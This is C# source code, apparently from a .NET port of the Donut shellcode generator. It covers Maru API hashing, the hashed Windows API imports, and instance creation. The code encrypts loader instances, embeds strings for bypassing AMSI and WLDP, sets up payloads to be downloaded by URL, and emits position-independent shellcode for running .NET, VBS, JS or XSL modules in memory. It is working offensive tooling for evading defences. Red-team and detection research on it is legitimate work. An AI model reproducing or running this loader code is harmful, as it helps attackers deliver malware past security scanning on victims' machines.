public unsafe static UInt64 Maru(string input, ref DSInstance inst) { byte[] zeros = new byte[Constants.MARU_BLK_LEN]; for (var i = 0; i < zeros.Length; i++) { zeros[i] = 0x00; } var ptr = Marshal.UnsafeAddrOfPinnedArrayElement(zeros, 0); byte[] api = Encoding.UTF8.GetBytes(input + '\0'); UInt64 h = inst.iv; int len = 0; int ind = 0; bool finished = false; M m = new M(); while (finished == false) { if (api[len] == 0 || len == Constants.MARU_MAX_STR) { Buffer.MemoryCopy(ptr.ToPointer(), m.b + ind, Marshal.SizeOf(typeof(M)), Constants.MARU_BLK_LEN - ind); m.b[ind] = 0x80; if (ind >= Constants.MARU_BLK_LEN - 4) { h ^= Maru_Crypt(m, h); Buffer.MemoryCopy(ptr.ToPointer(), m.b, Marshal.SizeOf(typeof(M)), Constants.MARU_BLK_LEN); } m.w[(Constants.MARU_BLK_LEN / 4) - 1] = Convert.ToUInt32((len * 8)); ind = Constants.MARU_BLK_LEN; finished = true; } else { m.b[ind] = api[len]; ind++; len++; } if (ind == Constants.MARU_BLK_LEN) { h ^= Maru_Crypt(m, h); ind = 0; } } return(h); }
public static void APIImports(ref DSInstance inst) { UInt64 dll_hash, final; inst.api.hash = new UInt64[64]; D.Print("Generating API Hashes"); Dictionary <string, List <string> > apiimports = new Dictionary <string, List <string> > { { Constants.KERNEL32_DLL, new List <string> { "LoadLibraryA", "GetProcAddress", "GetModuleHandleA", "VirtualAlloc", "VirtualFree", "VirtualQuery", "VirtualProtect", "Sleep", "MultiByteToWideChar", "GetUserDefaultLCID" } }, { Constants.OLEAUT32_DLL, new List <string> { "SafeArrayCreate", "SafeArrayCreateVector", "SafeArrayPutElement", "SafeArrayDestroy", "SafeArrayGetLBound", "SafeArrayGetUBound", "SysAllocString", "SysFreeString", "LoadTypeLib" } }, { Constants.WININET_DLL, new List <string> { "InternetCrackUrlA", "InternetOpenA", "InternetConnectA", "InternetSetOptionA", "InternetReadFile", "InternetCloseHandle", "HttpOpenRequestA", "HttpSendRequestA", "HttpQueryInfoA" } }, { Constants.MSCOREE_DLL, new List <string> { "CorBindToRuntime", "CLRCreateInstance" } }, { Constants.OLE32_DLL, new List <string> { "CoInitializeEx", "CoCreateInstance", "CoUninitialize" } } }; // Generate hashes for (var l = 0; l < apiimports.Count; l++) { for (var i = 0; i < apiimports.ElementAt(l).Value.Count; i++) { dll_hash = Maru(apiimports.ElementAt(l).Key, ref inst); final = Maru(apiimports.ElementAt(l).Value[i], ref inst) ^ dll_hash; D.Print($"{apiimports.ElementAt(l).Key}\t{apiimports.ElementAt(l).Value[i]}\t{string.Format("{0:X}", final)}"); inst.api.hash[inst.api_cnt++] = final; } } // Initialize substruct inst.d = new DLL[Constants.DONUT_MAX_DLL]; for (int i = 0; i < inst.d.Length; i++) { inst.d[i] = new DLL { dll_name = new char[32] }; } // Assign hashes string[] dlls = new string[4] { "ole32.dll", "oleaut32.dll", "wininet.dll", "mscoree.dll" }; for (int i = 0; i < dlls.Length; i++) { char[] dllchar = new char[32]; Copy(dllchar, dlls[i]); for (int l = 0; l < dllchar.Length; l++) { inst.d[i].dll_name[l] = dllchar[l]; } inst.dll_cnt = dlls.Length; } D.Print($"DLL Count: {inst.dll_cnt}"); D.Print($"API Count: {inst.api_cnt}"); }
public dynamic InitStruct(string type) { if (type == "DSConfig") { var config = new DSConfig { arch = Constants.DONUT_ARCH_X84, bypass = Constants.DONUT_BYPASS_CONTINUE, inst_type = Constants.DONUT_INSTANCE_PIC, mod_len = 0, inst_len = 0, pic = IntPtr.Zero, pic_len = 0, cls = new char[Constants.DONUT_MAX_NAME], domain = new char[Constants.DONUT_MAX_NAME], method = new char[Constants.DONUT_MAX_NAME], modname = new char[Constants.DONUT_MAX_NAME], file = new char[Constants.DONUT_MAX_NAME], runtime = new char[Constants.DONUT_MAX_NAME], url = new char[Constants.DONUT_MAX_NAME], param = new char[(Constants.DONUT_MAX_PARAM + 1) * Constants.DONUT_MAX_NAME] }; return(config); } else if (type == "DSModule") { var mod = new DSModule { runtime = new byte[512], cls = new byte[512], method = new byte[512], domain = new byte[512], sig = new char[256] }; mod.p = new P[Constants.DONUT_MAX_PARAM + 1]; for (int i = 0; i < mod.p.Length; i++) { mod.p[i] = new P { param = new byte[Constants.DONUT_MAX_NAME * 2] }; } return(mod); } else if (type == "DSInstance") { var inst = new DSInstance { sig = new char[256], amsiInit = new char[16], amsiScanBuf = new char[16], amsiScanStr = new char[16], clr = new char[8], wldp = new char[16], wldpQuery = new char[32], wldpIsApproved = new char[32], wscript = new char[16], wscript_exe = new char[32], }; inst.amsi = new AMSI(); inst.amsi.s = new char[8]; inst.key.ctr = new byte[16]; inst.key.mk = new byte[16]; inst.mod_key.ctr = new byte[16]; inst.mod_key.mk = new byte[16]; return(inst); } return(0); }
public unsafe static int CreateInstance(ref DSConfig config) { D.Print("Entering CreateInstance()"); // Initialize Instance struct DSInstance inst = new DSInstance { sig = new char[256], amsiInit = new char[16], amsiScanBuf = new char[16], amsiScanStr = new char[16], clr = new char[8], wldp = new char[16], wldpQuery = new char[32], wldpIsApproved = new char[32], wscript = new char[16], wscript_exe = new char[32], }; // Initialize substructs inst.amsi = new AMSI(); inst.amsi.s = new char[8]; inst.key.ctr = new byte[16]; inst.key.mk = new byte[16]; inst.mod_key.ctr = new byte[16]; inst.mod_key.mk = new byte[16]; byte[] bytes; UInt32 inst_len = Convert.ToUInt32(Marshal.SizeOf(typeof(DSInstance))); if (config.inst_type == Constants.DONUT_INSTANCE_PIC) { D.Print($"Adding module size {config.mod_len} to instance size"); inst_len += Convert.ToUInt32(Marshal.SizeOf(typeof(DSModule)) + 32) + Convert.ToUInt32(config.mod_len); } bytes = Helper.RandomBytes(32); for (var i = 0; i < bytes.Length; i++) { // Set first 16 bytes to ctr, second 16 to mk if (i < 16) { inst.key.ctr[i] = bytes[i]; } else { inst.key.mk[i - 16] = bytes[i]; } } D.Print($"Instance CTR:\t{BitConverter.ToString(inst.key.ctr).Replace("-", "")}"); D.Print($"Instance MK :\t{BitConverter.ToString(inst.key.mk).Replace("-", "")}"); bytes = Helper.RandomBytes(32); for (var i = 0; i < bytes.Length; i++) { // Set first 16 bytes to ctr, second 16 to mk if (i < 16) { inst.mod_key.ctr[i] = bytes[i]; } else { inst.mod_key.mk[i - 16] = bytes[i]; } } D.Print($"Module CTR:\t{BitConverter.ToString(inst.mod_key.ctr).Replace("-", "")}"); D.Print($"Module MK :\t{BitConverter.ToString(inst.mod_key.mk).Replace("-", "")}"); // Create Verifier string Helper.Copy(inst.sig, Helper.RandomString(8)); D.Print($"Decryption Verfier String: {Helper.String(inst.sig)}"); // Create IV inst.iv = BitConverter.ToUInt64(Helper.RandomBytes(8), 0); D.Print($"IV for Maru Hash:\t{BitConverter.ToString(bytes).Replace("-", "")}"); // Generate DLL and API hashes Helper.APIImports(ref inst); if (config.mod_type == Constants.DONUT_MODULE_NET_DLL || config.mod_type == Constants.DONUT_MODULE_NET_EXE) { inst.xIID_AppDomain = Constants.xIID_AppDomain; inst.xIID_ICLRMetaHost = Constants.xIID_ICLRMetaHost; inst.xCLSID_CLRMetaHost = Constants.xCLSID_CLRMetaHost; inst.xIID_ICLRRuntimeInfo = Constants.xIID_ICLRRuntimeInfo; inst.xIID_ICorRuntimeHost = Constants.xIID_ICorRuntimeHost; inst.xCLSID_CorRuntimeHost = Constants.xCLSID_CorRuntimeHost; } else if (config.mod_type == Constants.DONUT_MODULE_VBS || config.mod_type == Constants.DONUT_MODULE_JS) { inst.xIID_IUnknown = Constants.xIID_IUnknown; inst.xIID_IDispatch = Constants.xIID_IDispatch; inst.xIID_IHost = Constants.xIID_IHost; inst.xIID_IActiveScript = Constants.xIID_IActiveScript; inst.xIID_IActiveScriptSite = Constants.xIID_IActiveScriptSite; inst.xIID_IActiveScriptSiteWindow = Constants.xIID_IActiveScriptSiteWindow; inst.xIID_IActiveScriptParse32 = Constants.xIID_IActiveScriptParse32; inst.xIID_IActiveScriptParse64 = Constants.xIID_IActiveScriptParse64; Helper.Copy(inst.wscript, "WScript"); Helper.Copy(inst.wscript_exe, "wscript.exe"); if (config.mod_type == Constants.DONUT_MODULE_VBS) { inst.xCLSID_ScriptLanguage = Constants.xCLSID_VBScript; } else { inst.xCLSID_ScriptLanguage = Constants.xCLSID_JScript; } } else if (config.mod_type == Constants.DONUT_MODULE_XSL) { inst.xCLSID_DOMDocument30 = Constants.xCLSID_DOMDocument30; inst.xIID_IXMLDOMDocument = Constants.xIID_IXMLDOMDocument; inst.xIID_IXMLDOMNode = Constants.xIID_IXMLDOMNode; } Helper.Copy(inst.amsi.s, "AMSI"); Helper.Copy(inst.amsiInit, "AmsiInitialize"); Helper.Copy(inst.amsiScanBuf, "AmsiScanBuffer"); Helper.Copy(inst.amsiScanStr, "AmsiScanString"); Helper.Copy(inst.clr, "CLR"); Helper.Copy(inst.wldp, "WLDP"); Helper.Copy(inst.wldpQuery, "WldpQueryDynamicCodeTrust"); Helper.Copy(inst.wldpIsApproved, "WldpIsClassInApprovedList"); // Assign inst type inst.type = config.inst_type; // If URL type, assign URL if (inst.type == Constants.DONUT_INSTANCE_URL) { inst.http.url = new char[Constants.DONUT_MAX_URL]; inst.http.req = new char[8]; config.modname = Helper.RandomString(Constants.DONUT_MAX_MODNAME).ToCharArray(); Helper.Copy(inst.http.url, Helper.String(config.url) + Helper.String(config.modname)); Helper.Copy(inst.http.req, "GET"); D.Print($"Payload will be downloaded from {Helper.String(inst.http.url)}"); } // Update struct lengths inst.mod_len = config.mod_len; inst.len = inst_len; config.inst = inst; config.inst_len = inst_len; // Generate MAC inst.mac = Helper.Maru(Helper.String(inst.sig), ref inst); // Copy Instance to memory var instptr = Marshal.AllocHGlobal(Convert.ToInt32(config.inst_len)); Marshal.StructureToPtr(inst, instptr, false); // Copy Module to memory var modptr = Marshal.AllocHGlobal(Convert.ToInt32(config.mod_len)); Marshal.StructureToPtr(config.mod, modptr, false); // Calculate offsets var encoffset = Marshal.OffsetOf(typeof(DSInstance), "api_cnt").ToInt32(); var encptr = IntPtr.Add(instptr, encoffset); var modoffset = Marshal.OffsetOf(typeof(DSInstance), "module").ToInt32(); var moddata = IntPtr.Add(instptr, modoffset); var fileoffset = Marshal.OffsetOf(typeof(DSModule), "data").ToInt32(); // Copy Module to Instance Buffer.MemoryCopy(modptr.ToPointer(), moddata.ToPointer(), Marshal.SizeOf(typeof(DSModule)), Marshal.SizeOf(typeof(DSModule))); // if URL, copy stuff if (inst.type == Constants.DONUT_INSTANCE_URL) { D.Print($"Copying URL module data to instance"); //inst.module.p = config.mod; } // if PIC, Copy module to instance if (inst.type == Constants.DONUT_INSTANCE_PIC) { D.Print($"Copying PIC module data to instance"); // Copy memory file to end of module var mmfile = MemoryMappedFile.CreateFromFile(Helper.String(config.file), FileMode.Open); var view = mmfile.CreateViewAccessor(); byte *fileptr = (byte *)0; view.SafeMemoryMappedViewHandle.AcquirePointer(ref fileptr); Buffer.MemoryCopy(fileptr, IntPtr.Add(moddata, fileoffset).ToPointer(), config.mod.len, config.mod.len); mmfile.Dispose(); } // Release module Marshal.FreeHGlobal(modptr); // Encrypt instance D.Print("Encrypting Instance"); Helper.Encrypt(inst.key.mk, inst.key.ctr, encptr, Convert.ToUInt32(inst.len - encoffset)); // Writes raw instance if DEBUG D.WriteInst(config, instptr); // Generate final shellcode int ret = Shellcode(ref config, instptr); if (ret != Constants.DONUT_ERROR_SUCCESS) { return(ret); } return(Constants.DONUT_ERROR_SUCCESS); }